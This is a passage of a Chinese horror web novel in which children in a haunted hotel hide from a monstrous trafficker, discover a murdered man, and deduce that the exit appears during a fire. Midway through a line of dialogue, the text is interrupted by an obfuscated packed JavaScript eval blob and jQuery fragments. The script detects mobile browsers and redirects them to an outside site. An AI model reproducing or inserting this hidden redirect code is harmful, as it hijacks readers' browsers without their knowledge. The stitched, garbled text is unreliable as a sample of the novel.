柜子里的空间宽敞许多,舒司鸢调整一下姿势。忽然传来一记令人牙酸的咯吱声,她身体顿时僵在半空保持不动,凝神聆听,那声音却已经停止了。
对面208的门打开又关上,周小苗细微的抽泣声便听不到了。宾馆二楼重又安静下来,连光头大叔的呼噜声都消失了。
然而平静并没有维持太久。单阿姨一进门便发现屋内空空如也,一个孩子也没有。
暴怒之下,它的身体骤然膨胀几倍,从枯木般的身躯中长出四根肢体,像是多出一对手脚。新的肢体无处安放,便攀到墙壁上,吸附着墙面。
周小苗被它推了一把,摔在地板上,膝盖擦破了皮,渗出点点血珠。疼痛让她不由得倒吸了口气,又连忙用手捂住嘴巴,竭力让自己不要引起单阿姨的注意。
单阿姨的手和脚缓缓拉长,蠕动着覆盖到每一件家具上,拖出一条焦黑的痕迹。其中一只新长出来的手抓住了浴室的门把手。
那只手一转,露出里面三个抱在一起瑟瑟发抖的孩子。
单阿姨把她们拖出来,卷到鼻子下,喷着粗气问道:“另外两个呢?”
它嘴里尽是一种纸张腐烂发霉的怪味,周一定了定心神,把锅全部推到舒司鸢身上:“不知道。她们把我们锁在浴室里了。不过,我听到她们用钥匙开门的声音了。”
单阿姨拉开浴室门,一直插着钥匙的浴室门把手此刻空空荡荡。
但它仍未打消心里的狐疑,用手又把浴室里里外外检查了一遍,确认钥匙也没被藏在浴室里之后,才拉上了房门,把她们全部赶到角落里去。
四个女孩子小鸡崽似的紧紧挨着,单阿姨牢牢直视她们,目光如同在肉铺上挑选一块合乎心意的生肉。
它这回出来没带鞭子,只带上了一把斧头,毕竟此行的目的是杀了那个买走周小苗的人,把周小苗带回来。
八根手脚猛然伸到女孩子们面前,即将触上她们的面庞时却又收住,狂乱地飞舞一阵,不小心接住几颗滚落的眼泪,霎时便嫌弃地抖动几下,飞回了单阿姨的身体。
它用那幅惯常的压迫模样,庞大的身躯在沉默之中伫立着,牢牢注目她们。
被盯得久了,仿佛会无端生出一股错觉来——无论身处何方,都是它目之所及之处。
单阿姨用不着转身,它把脸换到脑后,占据一整面墙的身体如同随意揉动的面团般,弹性十足地从门中挤了出去。
一出门,它便急不可待地奔到第一间房,它要从头到尾搜查一遍。
等它找到那两个竟敢逃跑的赔钱货,在把她们卖出去之前,一定要先用鞭子把她们打得皮开肉绽!
它离开得太着急了,没注意到对面207里,那个正对着门的橱柜正被人开了一条小缝,里面躲藏的人借着走廊上漏进来的灯光,将它的举动看了个一清二楚。
眼见单阿姨走远,舒司鸢打开柜门,正要出来,一股浓重的血腥味扑鼻而来,侵占满橱柜的空间。
结合方才单阿姨砸门时便离奇消失的呼噜声,她心里忽地浮上一个荒诞的念头。
她抓紧时间钻出去,朝光头大叔躺着的床看过去。
光头大叔不知何时被裹进了被窝里,薄薄的被子从头盖到脚,依稀描摹出他的轮廓,脖颈处奇怪地高高顶起。
舒司鸢上前掀开被子。
光头大叔死水般的两眼呆愣愣地瞪着天花板,眼中无一丝光彩。脆弱的喉管被割开,脖子处插着单阿姨那把斧头,七零八落的尸块下洇开一大滩血迹。
黄铃珑也嗅到了血腥味,小跑过来看。
“他死了。”舒司鸢手松开,被子掉在光头大叔脸上,挡住了他可怖的死状。
黄铃珑一愣,旋即明白了她的意思,自己动手又把被子整个掀开了,“这个没事。我只害怕那些怪物。”
黄铃珑在“棱镜”里学到过一些基础的验尸知识。她爬到床头柜上,好看清光头大叔的全貌。
“他刚死不久,”黄铃珑观察着尸块的断面,“切得一点也不整齐,刚才那阵嘎吱嘎吱的响声不会就是……”
说完,她又自行小声反驳道:“可是要把人砍成这副样子,动静不会小,我们怎么可能一点都没察觉到。”
就算她们在橱柜里什么也听不到,那周小苗也该有所反应才是。这么血腥的行凶现场,周小苗肯定能哭得把屋顶都掀了。
但她却安安静静地和单阿姨走了。
“你还记得光头大叔退房的事吗?”舒司鸢按了按光头大叔的手臂,“我在想会不会是……”
“我们在‘域’里和电话世界里见到的他,早就已经是个死人了?”
因为他早就死了,所以他才会透明化得那么快。她们之前在“域”中感到奇怪的问题,此刻终于有了解答。
黄铃珑起了一层鸡皮疙瘩,也不看了,默默用被子盖住光头大叔,说:“要是单阿姨怕他把自己买卖人口的事情败露出去,在火灾前就把他杀了的话……”
那么光头大叔就很有可能在火灾之后形成的‘域’里死而复生,因为他曾在小孩子们面前露过面。
他以十分强硬的态度提出买下周小苗,甚至或许在私下里暗中威胁过单阿姨,如果它不把他女儿的朋友交给他,他就要去报警揭发它。
于是,他得到了周小苗。
一个居然可以让单阿姨都乖乖听话的人,毫不意外会被孩子们牢牢记住。
至此,舒司鸢大致拼凑出光头大叔的行为轨迹。
他曾经也是个人贩子,直到女儿出生后。他害怕有一天报应会降临到他身上,便从此金盆洗手。
但他从来没能忘记从前。每逢女儿生日,他望着那张被蜡烛照亮的小脸,竟然会不自觉地估算起她的卖价。
心里的那串数字让他心惊肉跳,失去女儿的恐惧与偷盗其他孩子的愧疚交织在一起,终于在某一天爆发了。
女儿哭着告诉他,她的好朋友周小苗好几天没来上学,她失踪了。
那下一个呢?会不会就是她?
光头大叔几近崩溃。他明白周家村以及沿途所有隐秘的地点,立刻动身,一路顺藤摸瓜,找到了周小苗。
再后来发生的事情,就是她们现在眼前看到的模样。
舒司鸢若有所思地望着破了个大洞的门。现实里光头大叔应该没被砍得这么惨,这个房间里发生的事,创作者只有周小苗一个。
她结合了家人从小讲到大的吓人故事,自身充分加以艺术发挥。好在她没亲眼见过杀人的情形,脑补不出具体的细节,方才单阿姨砍人才没闹出什么动静。
一想到自己还进了光头大叔的房间放过蜡烛,黄铃珑后知后觉地眼前一黑。
207房间不再具有意义,舒司鸢和黄铃珑趁着单阿姨进到一间屋子里时,跑出去打开了208的房门。
二楼不过十个房间,单阿姨动作又极快。舒司鸢闯入208,对着吓了一跳的女孩子们一口气不停地说:“再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351421|182388||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
待一会马上来接你们。”
她本来想着在单阿姨送饭之前回去,没想到单阿姨会来杀人灭口,直接发现她俩不见了,果然干这一行的就是心狠又歹毒。
舒司鸢担心周一她们受到自己的牵连,便开门来看看,此刻看到她们好端端地坐在地上,丢下一句让她们等着的话便关上了门。
她还没找到出口,带着这么多人行动无异于找死。
“你……”周一刚开了个头,却见对方进来又出去,转手把门锁上了。
单阿姨快要出来了,她们退回207。
“难道出口在210?”黄铃珑猜测道。
210是单阿姨住的房间,周一之前告诉过她们。
这一猜测有理有据,只不过孩子们都能把单阿姨想象成这么一个乌漆嘛黑的怪东西了,她住的房间肯定更是危机重重。
不过眼下她们毫无头绪,也只有这么一种可能的方法可以试试了。
黄铃珑提议道:“那我们等它进到房间里的时候,下楼去拿210房间的钥匙。”
这方法很危险,她们要尽可能无声无息地快速跑完两趟走廊,期间要躲避随时会出房间的单阿姨。而且单阿姨进房间搜查时,房门都是完全打开的。
她们经过这扇打开的房门时,说不定会倒霉地和单阿姨对视上。
那样她最好不要带上黄铃珑,自己一个人去一楼拿钥匙。
舒司鸢用目光测量着走廊的长度,计算按照她们现在的速度,最快需要多长时间才能跑完。这时她才发现,单阿姨的身影许久未在走廊上出现——它进了203后一直没有出来。
203……是小男孩在给她们拖延时间!
“我下去,你在这等着。”舒司鸢扭头对黄铃珑说,然后冲了出去。
路过203时,她紧张地偏头瞥了一眼——门虚掩上了,阻隔了单阿姨的视线。
她松了口气,脚步未停,视线跟着移动的身体移到旁边的201上。
“201”三个数字从她眼前平滑而过,鱼尾裙女人的形象随之出现,接着她一并想起了她曾说过的话。回忆翻到某一句时,舒司鸢停了下来。
她说:“我在等待。”
而且她等待的东西马上就要来临了。想起她坐在画架前拿着画笔却迟迟未动的姿势,舒司鸢掉了个头,往回跑去。
她在等待的东西,也是她们要等待的。
黄铃珑见舒司鸢风风火火跑出去,又风风火火地跑回来了,不由得不解地问道:“怎么了?”
用小孩子的身体来回冲刺了两趟,舒司鸢直喘气,回答的两个字淹没在沉重的呼吸里。
“火灾。”她匀过气来,重复一遍那两个字,“出口在着火时才会出现。”
黄铃珑愣了两秒,还没想通其中关键,已经先顺着她的话问下去了:“等谁点火啊?”
“等那个手上有蜡烛的人。”舒司鸢也在脑海中逐一排查人选,“不对,是身上带着火柴或者打火机的人。”
突然,她抬起头,直视黄铃珑,“你给光头大叔送蜡烛的时候,只给了他蜡烛是吗?”
黄铃珑也明白过来了,连忙点头,“是。我当时太心急了。况且火柴那么小一根,我就给忘了。”
她们马上去翻光头大叔的衣服口袋,果然在他的裤口袋里发现了一个外壳满是划痕的打火机。
然而还没等伸手去拿,便听背后传来一道阴恻恻的声音:“你们在这啊。”